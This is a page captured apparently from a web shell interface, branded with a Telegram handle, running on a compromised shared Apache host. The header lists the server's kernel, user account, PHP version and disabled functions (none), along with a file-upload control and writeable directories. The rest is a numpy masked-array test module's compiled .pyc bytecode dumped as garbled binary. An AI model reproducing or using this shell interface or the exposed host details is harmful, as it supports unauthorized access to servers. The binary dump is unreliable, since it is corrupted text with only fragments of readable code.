https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/numpy/ma/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/numpy/ma/__pycache__/timer_comparison.cpython-310.pyc
o

6��a*=�@s�ddlZddlmZddlZddlmZddlmmZddl	m
Z
ejZGdd�d�Ze
dkrxdZd	eZd
\ZZedd�D]9Zd
eZe�ee��eed�Ze�e�Zeded�eede��ededd�dedd���q@dSdS)�N)�reduce)�float_)�
build_err_msgc@s�eZdZdd�Z		d dd�Zd!dd�Zejd	d
�dd��Zejd	d
�d
d��Z	ejd	d
�dd��Z
ejd	d
�dd��Zejd	d
�dd��Zejd	d
�dd��Z
ejd	d
�dd��Zejd	d
�dd��Zejd	d
�dd��Zejd	d
�dd��ZdS)"�ModuleTestercCs||_|j|_|j|_|j|_|j|_|j|_|j|_|j|_|j|_|j	|_	t
|_
|j|_|j|_|j
|_
|j|_|j|_|j|_|j|_|j|_|j|_|j|_|j|_|j|_|j|_|j|_|j|_|j|_z|j|_Wnty~|jj|_Ynwg|_dS�N)�module�allequal�arange�array�concatenate�count�equal�filled�getmask�getmaskarray�id�inner�	make_mask�masked�masked_array�
masked_values�mask_or�nomask�ones�outer�repeat�resize�sort�take�	transpose�zeros�MaskType�umath�AttributeError�core�	testnames)�selfr�r'�;/usr/lib/python3/dist-packages/numpy/ma/timer_comparison.py�__init__sB�
zModuleTester.__init__�Tc
Cs(|�|�}|�|�}|�|�|�|�|��}	|�|j||	d�|�}|�|j||	d�|�}|jjdkrQ|�t�}t|t	j
�rJ|jdkrJd|t	�|�<nt	�|�rQd}|jjdkrv|�t�}t|t	j
�ro|jdkrod|t	�|�<nt	�|�rvd}z�|j
dkp�|j
dkp�|j
|j
k}
|
s�t||g|d|j
�d|j
�d�|d	d
�}|
s�J|��|||�}|	|jur�|r�|j||	d�}t|t�r�|}
dg}
n|��}
|
��}
|
��}
|
s�dd|
�d�t|
�}t||g|d
|f|d	d
�}|
s�J|��WdSWdSt�y}zt||g||d	d
�}t|�|�d}~ww)zZ
        Assert that a comparison of two masked arrays is satisfied elementwise.

        ��mask�O�rr'z	
(shapes z, z
 mismatch)��x�y)�header�names�dgY@z
(mismatch %s%%)N)rrrr�dtype�char�astyper�
isinstance�np�ndarray�size�isnan�shaperr�bool�ravel�all�tolistr�len�
ValueError)r&�
comparisonr0r1�err_msgr2�
fill_value�xf�yf�m�cond�msg�val�reduced�match�er'r'r(�assert_array_compare0sl





 ��

���
��z!ModuleTester.assert_array_comparecCs|j|j|||dd�dS)zH
        Checks the elementwise equality of two masked arrays.

        zArrays are not equal)rEr2N)rPr
)r&r0r1rEr'r'r(�assert_array_equalgs
�zModuleTester.assert_array_equal�ignore)r@cCsHt�ddddtddddddddg�}gd	�}|j||d
�}|ddS)
�!
        Tests creation

        ��?���@�@�@�$��$@�@�r.rrrrrr.rrrrrr+rN)r9r
�pir)r&r0rI�xmr'r'r(�test_0os&zModuleTester.test_0c	Cs t�ddddtddddddddg�}t�gd	��}gd
�}gd�}|j||d�}|j||d�}t�|d
|�}|�d
�||�d���sGJ�|j}|j	t
dd�|�ksVJ�|�|�t|�t
dd�|�kshJ�dD]#}||_||_||_||_||_|�|�t|�t
dd�|�ks�J�qjdS)rSrTrUrVrWrXrYrZr[)rX�r[rVg�g�r`rYrZrTr`r[r\)rrr.rrr.r.rrrrr.r+g@��x�DrcSs||Srr'r/r'r'r(�<lambda>��z%ModuleTester.test_1.<locals>.<lambda>cS�||Srr'r/r'r'r(ra�rb))��)��cSrcrr'r/r'r'r(ra�rbN)
r9r
r]r�where�set_fill_valuer�anyr=r;rrrB)	r&r0r1�m1�m2r^�ymrG�sr'r'r(�test_1zs(&
$&�zModuleTester.test_1c	Cs�t�gd��}|j|gd�d�}|j|gd�d�}|�|�}t|�t|�t|d�t|d�us4J�|d|dks>J�d|d<d|d<|�||�d|dd	�<d|dd	�<|j|d<|j|dd	�<||d
d
�<|j|d<|�gd�gd��|d
d
�<|�gd�gd��|d
d
�<t�d
�d}|�	|d�}|�gd�t
�}t�gd�t
�}|d|d|dd�jdks�J�gd�}|�|�}|�|�}||us�J�|j|dd�}||us�J�d
S)z2
        Tests conversions and indexing.

        )r.rgrdre�r.rrrr+)rr.rr.r.�	rg�creN)r.rgrerd)rr.r.r�rTr[)r.�hellorgre)r)rrr.rr)�copy)
r9r
�str�repr�typerQrrr	r�objectr=r)	r&�x1�x2�x3�x4�nrIrl�m3r'r'r(�test_2�s@




zModuleTester.test_2cCs�|�d�}|j|d<|�|d�}|�|�||g�|�sJ�|�|�|�gd��s*J�|j|ddd�}|�|gd��|j|ddd�}|�||�sJJ�|jddd�}|�||�sYJ�|�dd�}|�||�sgJ�d	S)
z&
        Tests resize/repeat

        rdrg)�)rrr.rrrr.r)rgrgrgrgr��axis)rrr.r.rgrgrereN)r	rrrrrrrQ)r&r}�y4�y5�y6�y7�y8r'r'r(�test_3�s

zModuleTester.test_3c	Cs@|�d�}t�d�}|j|dd�<|�ddd�}|�ddd�}|�t�|d�|�|d��s/J�|�t�|dd�|�|dd��sAJ�|�t�|�|d	�|�|d	��|�||��sYJ�|�t�	|�|d	�|�|d	��|�	||��sqJ�|�
gd
�t�}|j|d<|�|gd��}|d	dks�J�|ddks�J�|ddks�J�d
S)zB
        Test of take, transpose, inner, outer products.

        �rsrfrgrerd)rgrr.r.r)�abcr.�defrgre)rrerdr�N)r	r9r�reshaperrrrrrr
ry)r&r0r1�tr'r'r(�test_4�s&

 $
�
�
zModuleTester.test_4cCs|�d�}|�d�}|�d�}|j|d<|d7}|�||d�s"J�|d7}|�||d�s0J�|�d�}|�d�}|j|d<|d8}|�||d�sMJ�|d8}|�||d�s[J�|�d�d}|�d�d}|j|d<|d9}|�||d�s|J�|d9}|�||d�s�J�|�d�d}|�d�d}|j|d<|d}|�||�s�J�|d}|�||�s�J�|�d�d}|�d�d}|j|d<|d}|�||d�s�J�||�d�}|�||�d��|�d��t�}|�d�}|j|d<|d7}|�||d��sJ�dS)z*
        Tests inplace w/ scalar

        �
rgr.rTrV)r�N)r	rrrQrr7r)r&r0r1r^r'r'r(�test_5�sR











zModuleTester.test_5cCs*|jdtd�}|�d�}|jdtd�}|j|d<|j}|jdtd�}|j|d<||7}||7}|�|||�s9J�|�|||�sCJ�|�|j|�||j��sQJ�|jdtd�}|jdtd�}|j|d<|j}|jdtd�}|j|d<||8}||8}|�|||�s�J�|�|||�s�J�|�|j|�||j��s�J�|jdtd�}|jdtd�}|j|d<|j}|jdtd�}|j|d<||9}||9}|�|||�s�J�|�|||�s�J�|�|j|�||j��s�J�|jdtd�}|jdtd�}|j|d<|j}|jdtd�}|j|d<||}||}dS)z)
        Tests inplace w/ array

        r�)r5rg���N)r	rrr,rr)r&r0r1r^rI�ar'r'r(�test_6"sT








zModuleTester.test_6c	Cs�|jdddtdgdddgdgdd�|jdddtdgdddgdgdd�f}dD]C}zt|j|�}WntyFtt|�}Ynwt|j|�}|d	|j�}||�}||�}|�|�	d�|�	d�|�|�|j
|j
�q.d	S)
zTests ufuncrTrr�rgr.rfr+)�sqrt�log�log10�exp�	conjugateN)r
r]�getattrr"r#�fromnumericr�ninrQr�_mask)r&�d�f�uf�mf�args�ur�mrr'r'r(�test_7Vs **���zModuleTester.test_7c	Cs�|jgd�gd�d�}|�d|j|dd��|�d|j|gd�d��|j|gd�d	d
�\}}|�d|�|dks;J�|j|dd�<|j|dd�|jusNJ�|jgd�gd�d�}|�dd�}|j|dd�d	f<|�|j|dd�dd
g�|j|d	d�d|jus�J�|�dd
g|j|dd��|j|dd	d�\}}|�|dd
g�gd�}gd�gd�g}|�d�}|�|j|dd�d�|�|j|d|d�d�|�|�d�d|�d�g�}|�|�|d�tj�t�d��dd�|�|j|dd�t�d�dd�|�|j|d	d�|j|dd�|j|dd�dg�|�|j|d|d�d�|�|j|d|d�gd��|�|j|d	d�|j|dd�|j|dd�dg�|�	d�}gd�}	gd�gd�g}
|�
d�}gd�}|�|j|�||�dd�d�|�|j|�||	�dd�d�|�|j|�||�dd�d
�|�|�|j|�||�dd��d�|�||
�}
|�|�|
d�d�|�|j|
dd�gd��|�|j|
d	d�ddg�|�|j|
d|d�gd��dS)N)r`rTrVr[rpr+rVrr�)rTrTrVrT)�weightsr.)r��returnedrWrgr`)r�r�rT)rr.r.r.r.r)r.rrrrr.rfg@)r�r�r[g(@g������
@)r`rTrVr[rWrZ)rrr.r.rr)rr.r.r.r.r.)r`rT��X@r�rWg@rX)r`rTr�r�rWrZ)
r
rQ�averagerr�r	r9�addrr rrr)r&�ott�result�wts�w1�w2r0r1rkrlr�m4�m5�zr'r'r(�test_99ysT
*$22

$ zModuleTester.test_99cCs*|�d�}|j|dd�<|�ddd�}dS)Nr�rsrfrgrerd)r	rr�)r&r0r'r'r(�test_A�s
zModuleTester.test_AN)r*r*T)r*)�__name__�
__module__�__qualname__r)rPrQr9�errstater_ror�r�r�r�r�r�r�r�r'r'r'r(r
s4"
�
7







*





4

3

"

-r�__main__zNfrom __main__ import ModuleTester 
import numpy
tester = ModuleTester(module)
zimport numpy.ma.core as module
)r�r�r.r�ztester.test_%i()r�z#%iz2..................................................zModuleTester.test_%i.__doc__zcore_current : z.3fz - )�timeit�	functoolsr�numpyr9r�numpy.core.fromnumericr$r��
numpy.testingrr]rr��
setup_base�	setup_cur�nrepeat�nloop�range�i�func�Timerr�curr�print�evalr'r'r'r(�<module>s0$
"�

https://t.me/RX1948 - 2025